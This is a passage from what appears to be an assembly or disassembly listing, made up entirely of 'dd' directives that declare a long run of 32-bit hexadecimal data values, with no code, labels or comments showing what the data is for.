		dd 70D6F8E6h, 144E683Ch, 3CD1BE9h, 0D862D73Bh, 0C6743739h
		dd 59300226h, 0AF114EBFh, 0A21E2DC7h, 82D1DEEAh, 0D27BA761h
		dd 580BFB4h, 6ACA8D2Bh,	0C9656C44h, 7F566E64h, 3A6C8230h
		dd 1458031Eh, 4677975Fh, 1F4C10F2h, 9D139F88h, 21A33E76h
		dd 2D95DFA9h, 0FCA2DBA0h, 0E1FFC270h, 0F8F9BDD0h, 0CB825DA1h
		dd 3AC9ACD1h, 0F91B760Bh, 0D43CEAF4h, 27FA9478h, 92530B65h
		dd 4C17D532h, 0B44E62CCh, 0FE468A6Fh, 8048D1EBh, 0E45FEDF5h
		dd 0ACCD861Fh, 2203E6F2h, 0CA83FAF3h, 10B00F86h, 0B5A3CC52h
		dd 0F189F6DAh, 803312B1h, 0C0DECEF3h, 0BB18D3F6h, 772E8B8h
		dd 7E0ADF78h, 18CCF248h, 0D08647A6h, 68EC5CEFh,	0F66A9F47h
		dd 0C7CCDE2Ah, 8ED030h,	1A373889h, 0A04A2FA2h, 55594F92h
		dd 3CF63ACh, 331A3D7Fh,	0BAEEECF7h, 4CCA9055h, 9E87F712h
		dd 0E98D8EC2h, 2213D266h, 14C78ABh, 0B765B1E6h,	0A4E74A04h
		dd 56DDCD6Ch, 0F02381EEh, 0AD055EC1h, 0A5A60138h, 0CCE3614Eh
		dd 0D7BA8702h, 0A00B0C21h, 0AAD08627h, 43F9B302h, 98D24866h
		dd 0DAA95078h, 87EC6A1h, 0FB6C1D07h, 81FB3635h,	0FC7A0333h
		dd 36E3507Ah, 0BFDC297Eh, 9E9D1FEh, 3CDBB41Ch, 0CB47A978h
		dd 93E9F079h, 3E3962B9h, 3DB3D696h, 23103538h, 0A1C7EFC2h
		dd 0BF865189h, 393D8362h, 0A3E174E9h, 42AF391Dh, 928F776h
		dd 0A51AFE0Eh, 0B40D6E04h, 0C59A6779h, 39A8ACBDh, 56A61FF8h
		dd 0D12F83Bh, 9EAF3294h, 0A968C87Ch, 473B23FBh,	48DE1BF3h
		dd 185DB97Dh, 0BA135865h, 0F0BACA06h, 44940F83h, 0F464129Ch
		dd 0B30F4A38h, 42F36B46h, 6E3AF173h, 32D83949h,	0E1587898h
		dd 0BDCFA62Fh, 0E991787Ah, 1DB2C056h, 6C347640h, 0F80A2A5Dh
		dd 3EF82157h, 14D62652h, 162B3A38h, 2FA83D30h, 0FF4851DFh
		dd 41B23C6Ch, 79F3B26h,	5B9D47DCh, 1460D50h, 71BBE7B6h
		dd 1070A101h, 168F175Ch, 49530B96h, 1E6CA2AAh, 0D879C3BCh
		dd 3B795E27h, 231A6ACCh, 0DD8F26EBh, 0CB3FEF5Bh, 300E1183h
		dd 3A070FBFh, 0AEAA185Dh, 1433CD54h, 0ADE0768Dh, 0A958D8Ah
		dd 5FF77D7Ch, 0F721037Ch, 0F5C4E8F4h, 122914DCh, 3E95B06h
		dd 78CAE143h, 97888154h, 503FB359h, 74E9F06Dh, 0C62AE810h
		dd 0C5F9904Fh, 0AB2B0F5Fh, 336F4607h, 0A5F6B470h, 0F31DD209h
		dd 8D2FB70Ch, 0E9608FB4h, 0B0BDEAB5h, 547DA06Eh, 25787827h
		dd 8BD5DA71h, 844CD02Dh, 0A589C92Ch, 9F7DA8F8h,	2C564F3Dh
		dd 7C3FCDBBh, 0EB081DCCh, 0FD33C5FEh, 0BDF61E7Bh, 313C451Ch
		dd 2EC1B323h, 0EADADFFBh, 61F47B1Eh, 0F6070270h, 0D1EB35AAh
		dd 38969D24h, 4A323C8Ah, 0D8342EAEh, 0AB6AA288h, 0D18D97E6h
		dd 0BF0F255Ah, 0FA998F40h, 1F451327h, 0AADB2A5Dh, 0BB675BABh
		dd 1F5850E5h, 0E156386Ah, 0F54F3E27h, 5998A14Fh, 77E0C7F7h
		dd 0CF43A143h, 0CF2A5B6Ah, 6CBCF1F9h, 108CC1CDh, 613DF079h
		dd 60A54C16h, 1F36A2AAh, 0DF8F37B4h, 44E019F7h,	0FA8E478Fh
		dd 4729E083h, 0FF0202D4h, 35C083BEh, 0C452EA81h, 45831A59h
		dd 0E2072CADh, 0D1B6DF53h, 0CB47AB2Fh, 0F250AAB9h, 51F780D4h
		dd 0C3F3E321h, 84E0CCF4h, 0DE220758h, 7745C88Bh, 9D0AAC1h
		dd 66DF4EB3h, 0A3E5A629h, 1D6D9AE5h, 7FDD7DBFh,	546E3A78h
		dd 7F197FEFh, 9F11737Bh, 65666502h, 4E0AD377h, 0AA996D1Fh
		dd 1B2ACE4Dh, 5F8154B7h, 0EFBDDDCEh, 98EFEEF6h,	124FCD70h
		dd 38592C83h, 0DE409605h, 0BFC29AECh, 0CB85EAF8h, 0E2ABB944h
		dd 0CB02E9FEh, 0B8BA55A7h, 1B6D770Bh, 9C0445Ch,	6CE1240Fh
		dd 0B3451D0Ch, 60331097h, 4B4368D4h, 8CA9F1A5h,	263EB33Eh
		dd 6C46A27Ch, 8292EBE4h, 801723CDh, 689B685Bh, 65BE2797h
		dd 0A7AAE360h, 324EEB27h
		dd 0D86B8DC3h, 235503F0h, 3752C0C6h, 2E1350F8h,	0A0B9B460h
		dd 0CE802355h, 25039365h, 57B4CE3Ah, 2ABCE561h,	0DC646C4Dh
		dd 0BBDC1231h, 0D4453F07h, 0F050A81Eh, 289B5936h, 0EE0BE56Dh
		dd 51176C64h, 4FB004B7h, 96858B4Ch, 6B341D0Bh, 521EE895h
		dd 45576B4Bh, 42D224B9h, 33D6C2B9h, 4A875B05h, 6F19566Dh
		dd 0ADAC521Eh, 7502265Ch, 0E4EFF749h, 0A9C0B381h, 7450A31Dh
		dd 3A190C4h, 862AF3B1h,	0A449E1A1h, 1F0B8982h, 7D71C682h
		dd 53E5EA34h, 0A57BC5B6h, 5221739Bh, 0F15B54A9h, 35D8C0F0h
		dd 15EFD5ABh, 3D509843h, 68AAAD3Fh, 0C69138E7h,	9EC7009Dh
		dd 0C62F3936h, 3ED2B7ABh, 0AC87CB5Dh, 2604B426h, 0C405F7DDh
		dd 9549DBC5h, 0CE266BC5h, 3F1C0698h, 96859364h,	5D8E8228h
		dd 5E742ECFh, 0DCFD173Fh, 0D2BF3911h, 4DD09144h, 0C56918C9h
		dd 452E2D19h, 0D553C326h, 669539D8h, 3F11F5ADh,	867DBDCCh
		dd 0DAC454D1h, 17EDF6BCh, 9019D498h, 0B03EF915h, 2221AE41h
		dd 0C4A118F4h, 59DAD26Ah, 36A02A52h, 50885F96h,	0F791098Ah
		dd 1827397Ch, 26C85D0Bh, 0D10E701Eh, 3C1E0BF1h,	3E37C6Eh
		dd 0BCFD1C3Bh, 3B15E86Dh, 7B53C2FFh, 68F60EEBh,	625E9C9Bh
		dd 8FA47984h, 141CDCAAh, 3B16F2A2h, 0A1FC1F14h,	0D895AF14h
		dd 0ADDBD377h, 2D1B2792h, 0DF61A867h, 82C82945h, 5530587Ah
		dd 7AA6AA57h, 0E5A344EBh, 0BC539E65h, 0A21C8A59h, 87FCFD36h
		dd 3E69F894h, 73C7A630h, 62609E0Fh, 0B5EF33F7h,	0F8CC3590h
		dd 0AD536021h, 8E13F489h, 100AFA52h, 0D41D3B9Ah, 0D1092D9h
		dd 0BE8B95E9h, 35A8C549h, 4709066Fh, 0B7470A5Eh, 114EB34Eh
		dd 580BF5C4h, 0BCC05586h, 0C0D9E9Dh, 33489CF4h,	0EDB4CCB9h
		dd 764E1AA6h, 0D2CFD528h, 1009EB48h, 42144626h,	212A362Dh
		dd 43B33932h, 0D75FD7B5h, 347FDDDEh, 2D76DC30h,	67455C36h
		dd 0FB40586Ch, 3B0A49A4h, 0C3459629h, 4A0F6F96h, 0C8ADD563h
		dd 0C072D1DEh, 0A80633F8h, 0A5CE646Ah, 244862Fh, 4B90A7A9h
		dd 0EBFC2F58h, 88801872h, 0A73CC942h, 8D5EBEECh, 7DB03E0Fh
		dd 0FC4422A9h, 7BBDA085h, 3B1B300Bh, 0F094F7BEh, 587D0EE0h
		dd 0C2045F3Ch, 0EFE2A55Ah, 0BC799095h, 2851524Fh, 0CAED7B21h
		dd 539F3519h, 231BD51Bh, 0ED14C39Bh, 4F78E0D5h,	0AD21DBCh
		dd 0F4D7D0B6h, 0B751AF42h, 84FAB768h, 64FC15CCh, 634CFF5Ah
		dd 68212045h, 8500FF5Ch, 2896C319h, 0E435AD26h,	5896FE1Eh
		dd 5779DD54h, 2BFD9362h, 81C68EE2h, 1A4ABA5Ah, 5C614F95h
		dd 6B6F82ACh, 52E0FF20h, 378AE329h, 9F3514F5h, 0D8ED021Ch
		dd 0C8FDE0C3h, 0AEE75BF6h, 0D438703Eh, 0A8EA41DEh, 3B9A4F4Eh
		dd 0AB584592h, 96B0DA09h, 0F821FD3Dh, 0CC0829A2h, 7DECF8EBh
		dd 58201523h, 0F898E14Fh, 9D86DCEAh, 22A18607h,	9DA98FE9h
		dd 0ACA137Ah, 876AD48Eh, 0BCB08EB6h, 7E5E3C1Bh,	0E6905660h
		dd 8BAF8D7h, 97970613h,	0EEDE8FADh, 0EB8F8164h,	45968DE2h
		dd 0D995C13Bh, 7EE240E8h, 7C5F3880h, 2B517C55h,	360BE9B2h
		dd 3E121A86h, 8AE13AC8h, 0BB3C2532h, 5465AD21h,	950D0367h
		dd 4AD12496h, 7C2F9B6Ch, 55CC61F0h, 0B17E6B29h,	941D14Ch
		dd 2D51DCAh, 8D7689BDh,	1ABF3EF3h, 0A10B86E0h, 5953B0Fh
		dd 0D91ADF30h, 2230E00Ah, 3F17E0F8h, 0B4CCBF9Ch, 0B8E2608Ah
		dd 97BA67EBh, 5DD52E92h, 0BB5BF6A0h, 17F85E65h,	56889E3Dh
		dd 2D17AE51h, 9A5C3473h, 60897AD4h, 96C4AC1Fh, 6461DF49h
		dd 0FF164C5Fh, 0D9B6C95Ah, 0E34F8254h, 362919C8h, 7131FBC7h
		dd 8F00F0D9h, 0D08B1DFEh, 8950E28h, 0F3095D0Dh,	0BB875EA7h
		dd 0E5E75A8Ch, 69F4B8A5h, 6C8ABD55h, 688BC4C1h,	1952B691h
		dd 5757655h, 7536EFACh,	5D903C48h, 4FCB7A2h, 670D0856h
		dd 0B2122E97h, 0F2EC5FF6h, 48E9A0F1h, 2BBC3703h, 7D1292B8h
		dd 43978570h, 3133CC14h, 0BB08B05Bh, 0E8577D36h, 0E8EBE352h
		dd 0AD6BA072h, 6870D995h, 0FD156AE7h, 0B1BCC0F5h, 0BDA2938Ah
		dd 0AD5B5FEEh, 22DB541Ch, 0F851BC0Fh, 0C4289553h, 0B9738CD2h
		dd 67DEB485h, 0B0DD94D6h, 0EAB9BDCCh, 8C4A5714h, 8909508h
		dd 0DA89B345h, 2535BD91h, 0A33BB5A2h, 186051CDh, 999F2E0Fh
		dd 7899AB1Ch, 6F7D1407h, 32C39720h, 1F83B949h, 97E40842h
		dd 0A2D4CBE5h, 92CB8142h, 1C1ABC28h, 1CA7477Ah,	0FC8C4A1h
		dd 0F705B8EEh, 72290B7Ch, 0A5FA4241h, 0B8DD8DE2h, 0EF4424B3h
		dd 61321DF2h, 68EE220Ah, 1B7773D9h, 38A557F4h, 13CBED92h
		dd 0B59FD85Fh, 0F2F19A28h, 0F9E9B91h, 33D66BC7h, 600B5FFDh
		dd 6BB47355h, 0DECD098Eh, 71A353D4h, 15C0D109h,	14790189h
		dd 55AEF7F5h, 946FD2F3h, 1FD0B256h, 3F9E39F7h, 4A175E78h
		dd 0BA96FE66h, 0B76F05FDh, 60BD1D8h, 0BDB77D19h, 9D6CC542h
		dd 123B091Ah, 20B0B2Ch,	19F789C5h, 87019F77h, 2B0BE097h
		dd 0F8AD26B6h, 0B62AD4C0h, 14052976h, 0B54083B6h, 419F6C99h
		dd 0B4657313h, 4714C052h, 79482E1Eh, 21B02B5Fh,	8049C15Eh
		dd 58B67F83h, 1D310749h, 7B156DF3h, 81B1EDE2h, 4C8A9ADBh
		dd 66263E1Bh, 682B770Bh, 0F016824Dh, 0F58F9988h, 0BFEE8E3Ah
		dd 0CEE2E4E8h, 0B50E993h, 0AD11C176h, 0F8FB5603h, 7EC29BE6h
		dd 0D0A8E8B1h, 0C793039Fh, 5395625Dh, 212ED91Bh, 1DD08D6Eh
		dd 74F9A5D9h, 0BAFDB6EBh, 0E1758731h, 7089C017h, 18CA0EBh
		dd 0A35918FDh, 752F5260h, 3087E8BAh, 3621326Bh,	4325285Ah
		dd 0BE8C116Eh, 0C38B62B9h, 3B9677B7h, 8FFBF9AFh, 13DD88C6h
		dd 0DA445702h, 0D8FAE0DDh, 0F666C303h, 4B07138Bh, 57FE024Fh
		dd 0FF0781E5h, 2D1530BDh, 221A851Ch, 0A8D032A1h, 5B3BB2DCh
		dd 63AF47A2h, 59B6E8B4h, 9F92D1E5h, 66E087C3h, 0EC56149Fh
		dd 93A5289Dh, 936BE3A5h, 0EDC7C2DCh, 83B346ABh,	0FE4CD0D6h
		dd 0A802190Dh, 91E59EF0h, 8E1DA9A1h, 0EA36323Bh, 45240AEAh
		dd 8D054565h, 0D5BCB40Eh, 89DCB593h, 0E0BA588Ch, 0B5680421h
		dd 0A882A657h, 0CCC39CCAh, 0FEBA7738h, 0C4C4F1F5h, 55B6D949h
		dd 89032D73h, 2CD3AFDCh, 9540FBF6h, 0B8DCDD9Eh,	33D39350h
		dd 677770C6h, 387244A6h, 517E05FCh, 0A13FB47Eh,	8FF90F8Fh
		dd 8F3B7495h, 0FB4CC3C2h, 0CFBE5BECh, 67D128B9h, 59EA1FF6h
		dd 57DB8C8h, 3C8325FFh,	0E083A8Fh, 0F76A953Bh, 87FC9FF8h
		dd 0B97FBDB3h, 255589E2h, 7DFD618Eh, 2B149BE0h,	10A00C14h
		dd 99D75F8Fh, 0E0F248E0h, 6B4553ACh, 3E852355h,	0DE0C9BDBh
		dd 0F99F03CCh, 0D768091Ch, 9AC06A77h, 0D32BDB5Fh, 824AF26Bh
		dd 113FAC93h, 48EE2A38h, 2E666DD3h, 419867A1h, 0EE56AF71h
		dd 0E8EF7F27h, 975A201Eh, 0E817981Fh, 3EBC2B20h, 7E9BF572h
		dd 1A460B83h, 22D8ACFCh, 82850619h, 5BFA7F82h, 4E946BE5h
		dd 0F184B6B2h, 0F3973B25h, 79FB4FEFh, 0E1D568D8h, 0B3BFB90h
		dd 89F4C7EBh, 0D4B9A7C3h, 2BC1B1FCh, 0ADC032D4h, 39B4B0A9h
		dd 0C3B284D2h, 0EBEFD474h, 0FB6F6F30h, 53109565h, 8EDA29AAh
		dd 7511E0FAh, 82502E59h, 0AD4E9A1Fh, 0C233FEA8h, 0AE5365h
		dd 81EF7DF7h, 37EB0E93h, 0DF8D522Dh, 3711248Fh,	914EAAFBh
		dd 5BF8C763h, 0CB9836B4h, 8F013A87h, 6C6CDC6Bh,	0A3517F8Ch
		dd 0E07717C3h, 5598C8C4h, 5A680F65h, 9C03BB6h, 24882438h
		dd 0A841A5Ch, 7C87D7D8h, 13EEC6E7h, 0FED31966h,	9FD4800Eh
		dd 205C3F89h, 0B15CFF2h, 0BCECD42Bh, 0BE7C67DFh, 2E37A37Eh
		dd 0F3A81E3Ch, 9EB8CBC0h
		dd 3F6932ACh, 0FC35CAACh, 0A6BBB210h, 103ABF68h, 67F450F1h
		dd 4612FF1h, 0E6800CAh,	0BF1A76Dh, 6C641676h, 554BAD8Bh
		dd 0A870A269h, 0FBCE74ACh, 85426E74h, 500C2A88h, 327915BEh
		dd 90F97Ch, 5FEC22AAh, 0DB99FD0Fh, 4462BB53h, 4424370Dh
		dd 0A621D9ACh, 50C26B7Ah, 5331682Bh, 3AD9737h, 0B331CBC5h
		dd 62919B86h, 0E902E824h, 0EDF9C86h, 0A0C918D7h, 0E27C5A50h
		dd 4C065297h, 0B755FF54h, 0F8EB061Bh, 7FA4E27Dh, 0A672E6DBh
		dd 12DDAFD7h, 9DFC908Dh, 1BA12CE6h, 68B6DC3Fh, 0FB6C5E08h
		dd 6075636h, 0A5DD52DDh, 6B7DBBB9h, 39A58BA9h, 2B4F3AE3h
		dd 0FA33FE75h, 0C3F1D2E4h, 48546B81h, 1B9B366Dh, 74E27DF8h
		dd 0C5BBBF6Ah, 4E803D6Eh, 78A6CFF4h, 0B217A9F2h, 0BA729C8Eh
		dd 0BC9D2B4Dh, 5F81061Ah, 723B4FEAh, 0E5A334FFh, 0BEDA951Ch
		dd 5BBA414Ch, 0E46242C7h, 0D5DACE83h, 0F5BFF9D0h, 0A2C03EF2h
		dd 5BAD5235h, 1F1D9BF7h, 12BF9928h, 243FCAD0h, 88AAD87Dh
		dd 16A10115h, 0BDCADBE4h, 0B11492A1h, 0CD7C9D1Dh, 1CC849FDh
		dd 0CEB1A82Dh, 51FDB4A7h, 1DACCCF4h, 0B284F558h, 7E0FAB41h
		dd 0A395F6B3h, 0DCF00963h, 0C4F24CFDh, 0F593414Bh, 0ABDF8312h
		dd 0B44A01E9h, 0D13E0DDEh, 0FDEE3D42h, 1C2BD8E8h, 0A8B2E1E9h
		dd 583115E0h, 0D4937A4Ah, 8212B58Fh, 1C6FE05Eh,	0BDCAB72Bh
		dd 42C39003h, 6D683545h, 0EF69CA4h, 1E34E9E6h, 7DDCEBDCh
		dd 2FF15C68h, 0FE2A8791h, 298FF148h, 416B0798h,	1EC6A88Ah
		dd 4A287F95h, 22A776A6h, 0D1133556h, 363DC9E6h,	0F606EEDAh
		dd 4EE21BD4h, 2A7ABCA7h, 556178B2h, 0BFE6D689h,	0B9765B6h
		dd 59421D3Fh, 4BBE988Dh, 0BA3D5391h, 728CC894h,	2D8A057Dh
		dd 952BD25Ch, 69CBBCF0h, 957745EFh, 1208DEAAh, 56305157h
		dd 3BBB6CF8h, 131A3D23h, 915624E7h, 0E0A933CBh,	17B2E15Eh
		dd 0A2A9A367h, 1E7E6AB5h, 98A83EC0h, 2F6FAD3Bh,	9DF8FC5Ch
		dd 0EDC87103h, 517FEE9Ch, 0E9481C8Fh, 526D183Bh, 0B54EC880h
		dd 0EBA84A6Dh, 3053AD8Bh, 5EBE175Ah, 6B29C93Eh,	2C04A340h
		dd 0E57D08E5h, 6EE10B43h, 3EACFEB9h, 0D85FF8ADh, 0CFE10D2Bh
		dd 59995054h, 34440F3Ch, 22284AE9h, 3E0A10A0h, 8BB3C81Bh
		dd 88E4D49Dh, 0DAA7622Ah, 49F1FBC1h, 0E140297Ch, 0CAE16E5h
		dd 0F7B5125Bh, 0E3CF5A5h, 7C72868Dh, 0E37DE7E9h, 374F8C76h
		dd 0B9255DF5h, 6B3CC783h, 0A1426220h, 0C0A913Ah, 2218D0FCh
		dd 830DBD01h, 973F273Fh, 0D6889E9Dh, 0BF17C4E4h, 0A84489A5h
		dd 4E2974ECh, 31E6598Dh, 0C4D2AFA0h, 0DB3A029h,	0EB6DEA1Fh
		dd 1F574874h, 0E2821B03h, 62694B83h, 92CFA94Ah,	0F726D825h
		dd 1B5F978Eh, 9744B5BCh, 0E3396710h, 11A34B05h,	0D847C3A7h
		dd 235F3F83h, 0A25138BBh, 5E5F6F95h, 9B5D23BEh,	6570CDBBh
		dd 0EDB1C0F8h, 6D869F32h, 3278AFh, 4698873Eh, 0BC80DE43h
		dd 9DEBC9E3h, 786E2976h, 99C208D4h, 6FA3D183h, 0D76FFC1Ah
		dd 0E3E8A301h, 4DA36B2Bh, 0D68F1233h, 9FE5EC52h, 0D8F4A5A7h
		dd 0EA17AC25h, 0C9041CC3h, 7CFBA793h, 0D00BC0FFh, 187E2847h
		dd 6651747Eh, 51D51265h, 16158DB2h, 0B6FBB5AAh,	3F13D6DBh
		dd 0FCCE387Eh, 6CD52505h, 8153EEB4h, 9F95A2FDh,	0C82AF1A1h
		dd 78BDEEDCh, 0B619E67Ah, 86CCC9C4h, 7289B065h,	5900CA49h
		dd 185A3D53h, 0F88456F9h, 7FB5FA51h, 0F1AB55F1h, 5D7365F8h
		dd 8664C68h, 5E0AF80Ch,	0A3F07A37h, 31B67F0h, 0C0FC427Bh
		dd 0C5032382h, 2691E515h, 39CD087Eh, 0EA46381Eh, 25A28B0Ah
		dd 39B8D86Fh, 0ECF02788h, 72AA0DDDh, 0FBFD7137h, 68912A61h
		dd 0FAA55AAFh, 7E124CE1h, 0EC97834Fh, 327D9751h, 0C264F3FDh
		dd 5683AD2Ah, 0E0BD09E1h, 854973DBh, 6E1BEE9Ch,	0D6BA5A5h
		dd 4813A510h, 0F15AA549h, 0B6F38FEFh, 0F2E6CBFAh, 0E8468A01h
		dd 23D4BB5Dh, 0F949A412h, 6D7BE91Dh, 0C1F934B0h, 85FF9095h
		dd 75DBA4EFh, 0FD30D086h, 9C0FCEA6h, 0BB97FEE5h, 91D2CF52h
		dd 7452FC7h, 2CBA2F53h,	19979A21h, 53A91208h, 4FBB502h
		dd 5EDAF2F0h, 0AF896C77h, 0FEB18D31h, 0CF7BC736h, 0AB6809C7h
		dd 6F24A27Bh, 0C3D21861h, 4EE3A62Fh, 52369B25h,	0CABDAA0Dh
		dd 421D4CCAh, 72E683E2h, 755EC346h, 9A8CE709h, 0FB9BB6AAh
		dd 57E849CFh, 0FFDF81E4h, 40DB5B7Eh, 932C8046h,	0DD330D19h
		dd 1CC05356h, 53146A98h, 33F3EB8Ah, 12F44E88h, 0E7B0F7F8h
		dd 630FCD5Ch, 0CFD5B028h, 0E530E5A8h, 0DB32B792h, 0DFECC4C0h
		dd 0CE2BF9F1h, 0A1114E7h, 36103D3Bh, 97A5CE85h,	447BB621h
		dd 13ADEE35h, 4D6A06EDh, 0D5898AC2h, 760394AFh,	0CB95552Eh
		dd 0BAA2D991h, 0FE67C580h, 0E7CC0B6Eh, 3B523071h, 9C12C0BEh
		dd 57F2EE38h, 1DF74EC6h, 11536B4h, 0A1E4AB2Bh, 0E2B70B54h
		dd 2587A17Eh, 4BE0D180h, 6F2AE169h, 0EF64334Ch,	94E74514h
		dd 0BB5B225Ch, 1C0FB768h, 0BC8FA63Eh, 0D64D029Bh, 0A5B3BE50h
		dd 8AA242C7h, 0CCEEA089h, 0B490D114h, 7C2AA65Dh, 0B7B65B7Bh
		dd 55EFEADCh, 0FE24ED55h, 0EEDA0896h, 451F0F56h, 7C2A681h
		dd 0A2CA8A97h, 0D85E275h, 0CB65BF52h, 97E551F6h, 81E4497h
		dd 0EFD5131Ch, 8CA68F3Fh, 43FD01DFh, 87A437F2h,	0F4192D9Ch
		dd 733D7B08h, 9E0DC29Ah, 0E3BBF945h, 6D5F654Fh,	70990309h
		dd 0D34F9140h, 16E8B6DEh, 0F21B6EA0h, 0E1157CEAh, 0ACDF1984h
		dd 88E01928h, 0CB7D83C3h, 1B92797Bh, 82CC9F7Ch,	22935EBDh
		dd 0C0615FD7h, 0D9794DBDh, 0D0BE45EFh, 0B47C1235h, 3DB23715h
		dd 7C7BF59Eh, 0FA8FBC9Eh, 4B5D124Eh, 0D2514603h, 20685AE6h
		dd 497DE7Bh, 0C9244C11h, 0EF3F3CAEh, 0E4600EA0h, 0DC5DA964h
		dd 0D3D78D8h, 2FA08FD8h, 0FB67CE5Ch, 2AB1F76Ch,	2C8BA7EEh
		dd 68FADB41h, 0BC43A3EBh, 7AB0368Bh, 7FB3597Ch,	4841FDD6h
		dd 0F5019580h, 55771469h, 85FEA4CBh, 0C1209514h, 0F55FC0D7h
		dd 3E41C580h, 3A6570A2h, 0AD63AFC9h, 0D4B432FDh, 6AD397C2h
		dd 0F00C7D62h, 0DCABC93Bh, 746647Fh, 37DF5EA4h,	0C0FAAB07h
		dd 0EB79BD99h, 4E1E8AE5h, 4E1FBC3Fh, 0C25652EFh, 0AEDBEFEFh
		dd 0DF82A789h, 0A8F00167h, 0C7186E15h, 8DD070Fh, 7C14B069h
		dd 3198221h, 0D4CDBBEh,	0BBC9D6DAh, 2562FEA0h, 4D16ADB5h
		dd 660B9601h, 0ED2CE0D4h, 0D5ECA9B4h, 9AA0202Fh, 0CC47DAC5h
		dd 0C1E7738Ah, 7D90E21Dh, 6661C0E6h, 0EFB099F2h, 0C1E1F8ABh
		dd 0D925474Bh, 0FE2EA83Eh, 0E210EE70h, 771ED39Ch, 0D91D6A46h
		dd 0D19FBCFEh, 7D6A854Ah, 77E5C865h, 85FCADA2h,	0FCFE0669h
		dd 26A5561Bh, 153CDE0Ch, 0A4D7EBB5h, 913531F1h,	0DA50B691h
		dd 0D6A1F365h, 0A141AAF3h, 1FF04E0Eh, 74E602FFh, 0DD2AFC1Bh
		dd 0FD839378h, 13C02EA6h, 8B62CDA5h, 1F07967Eh,	521452BAh
		dd 0D5F6C503h, 1E18833Ah, 577F5396h, 0B4C98838h, 86DCB74Fh
		dd 58280DC0h, 3F91F954h, 0BEE93B7Dh, 76F2F4C8h,	0B2AF7F7Dh
		dd 0FE82345Fh, 0EBC76CC6h, 0AB67624Bh, 7EE6DC69h, 5BA5F48Fh
		dd 7FBA011Bh, 2886A2A7h, 0E11F8D41h, 0AF591592h, 2496079Ah
		dd 6BC1596Dh, 0D8554E1Bh, 0A9BE9B7Ah, 0FC40ED18h, 4FAAF60Ch
		dd 6D6782E2h, 0D2B46280h, 0CE564A67h, 447B569Dh, 87E2C2DBh
		dd 0F5E81529h, 63BC2374h, 476AF383h, 39C57C9Fh,	0BB6EA190h
		dd 0F9E2834Bh, 0EA3EF495h, 6D636263h, 44660AA6h, 0A1E0DF29h
		dd 5619D5C6h, 25529AD0h, 7EDDC491h, 6640E2E0h, 0E9F0C87h
		dd 0C5FCB2D1h, 6CD6C4FAh
		dd 3B40D89Bh, 219EB5F7h, 9A5958CFh, 0D181C75Bh,	0FBF1453Eh
		dd 9E2ABAFEh, 99D02A30h, 0B57DBC1Eh, 0C5C51F0h,	8A94E89Fh
		dd 0DE7D49FAh, 0A08BC342h, 55B6A50h, 1F89AADDh,	14B15252h
		dd 0C8D1ADD3h, 7A2BB175h, 9CD2143Ch, 23FD3CF2h,	90C071EDh
		dd 66C4E87Dh, 29C02F81h, 59251817h, 0DE114029h,	0A34F5D0Eh
		dd 4130A81Fh, 359EEBF7h, 755F37B0h, 0D7BBD231h,	0B769C282h
		dd 0CDAC461Ah, 0DDC53024h, 0A6332053h, 95AABB12h, 0C8815358h
		dd 92C5996Dh, 0F0A68BFh, 2FE8904Bh, 0BDFE4F0Ah,	5CF4B653h
		dd 38C07553h, 0DC9AF160h, 0F011CA84h, 0B6755CC4h, 48AD094Bh
		dd 1EECE51Ch, 6F8BFDE3h, 55634F1Dh, 935DA158h, 670EA6AFh
		dd 0B4B6878Eh, 9BF93A37h, 32A0894Eh, 9B884345h,	4ED82B0Eh
		dd 0F3CD4683h, 93BB61Ah, 6AD14338h, 38248D85h, 3C3F2884h
		dd 0F7289C78h, 0A5600377h, 87039308h, 5FEE928Ah, 5651E835h
		dd 70DA362Ah, 7D6E0DBh,	31F870Eh, 0EE73BF8h, 860FACCBh
		dd 0FEE97D7Fh, 3B4777A1h, 20C9BB13h, 60797E33h,	7CAAB42Eh
		dd 0E5085DA9h, 76A33C5Fh, 0F808EFFCh, 0EB6879D6h, 3A7AFC27h
		dd 8155F7D9h, 0B25590B1h, 74EFEB55h, 74FF8F40h,	0FA028186h
		dd 2C0412DCh, 99DCA632h, 0F6FA39F2h, 32FC4865h,	0CD03B03Eh
		dd 5A938F6Eh, 0F2F7B3B9h, 2B3DB401h, 0CFA76D40h, 8948968Eh
		dd 9B637BE7h, 18E04Dh, 83462EBCh, 80E8DFFh, 137139B9h
		dd 0B2F09550h, 6A18B83Fh, 0CF94734Fh, 0A174BFBCh, 0B845B7CDh
		dd 4D3082A4h, 5259E02Bh, 6228B847h, 0C89914C9h,	0C1D6BFB0h
		dd 6D6AD742h, 0C2A56A6Eh, 0CA610289h, 2BD6BA9Dh, 3F8EF460h
		dd 73E88925h, 18DCF0C7h, 0F3C7FE2Ah, 95D52F6Ch,	0D90209BAh
		dd 22F985D1h, 0DBD55ADh, 0B052352Fh, 63BAFBB1h,	3085D8C5h
		dd 0B65DB155h, 0C611958Fh, 0B392CF56h, 0E9BC81F3h, 0A83B3E42h
		dd 0F565F34h, 7B39CC14h, 99FEB291h, 5C8B9BF7h, 0EFC5DA2Eh
		dd 82780613h, 0FF51C616h, 0B367C446h, 8C5C87E3h, 82F1D597h
		dd 89F3F6ACh, 0DF6C64D6h, 1E87F1E2h, 0B6327B2Bh, 35D9E26Eh
		dd 0A9132E8Eh, 36B5E2BAh, 33C80718h, 581E7CF6h,	0A124D712h
		dd 6E9E6D5Fh, 0E02C9501h, 9F5DC9C1h, 0C2E67E14h, 14D3C8C9h
		dd 123B4AAAh, 0DA24859Eh, 7F8622ABh, 2D767C7Ch,	95C7BF81h
		dd 40C4AEDAh, 0E5F1BCFh, 3A8AC163h, 4ACF268Fh, 42FD7DB9h
		dd 3CE711Fh, 0E77DC8CAh, 0C77E3436h, 5E3C5B81h,	8F1BEB52h
		dd 9C70F57Ah, 90702FF3h, 5BC5388Dh, 0B58EFBD2h,	0BDD019D2h
		dd 0C05F6FF0h, 1A9E1DF6h, 0C70A366Bh, 6608F979h, 0A22256A2h
		dd 0DD4998CCh, 5451CE05h, 6030C367h, 0BEAE998Ch, 59B3D8Ah
		dd 0EFD1234Ah, 976C4517h, 41866B03h, 3DC2A853h,	0B1D7CB88h
		dd 0BF4CE9E5h, 67D4D43Fh, 21F8AC2Dh, 6451A6CAh,	895F3E7Dh
		dd 0FD89F15Bh, 8B54D606h, 84885B72h, 67F45C75h,	600C0911h
		dd 456D29F6h, 0A28716FFh, 0A648F4EDh, 0C19774ADh, 5A362527h
		dd 8D00612h, 85FDE225h,	2F967BC3h, 85B4D197h, 0F0237D4Eh
		dd 781FD1C9h, 79C8666Bh, 0FF4E74E7h, 1772C317h,	515EBF7Eh
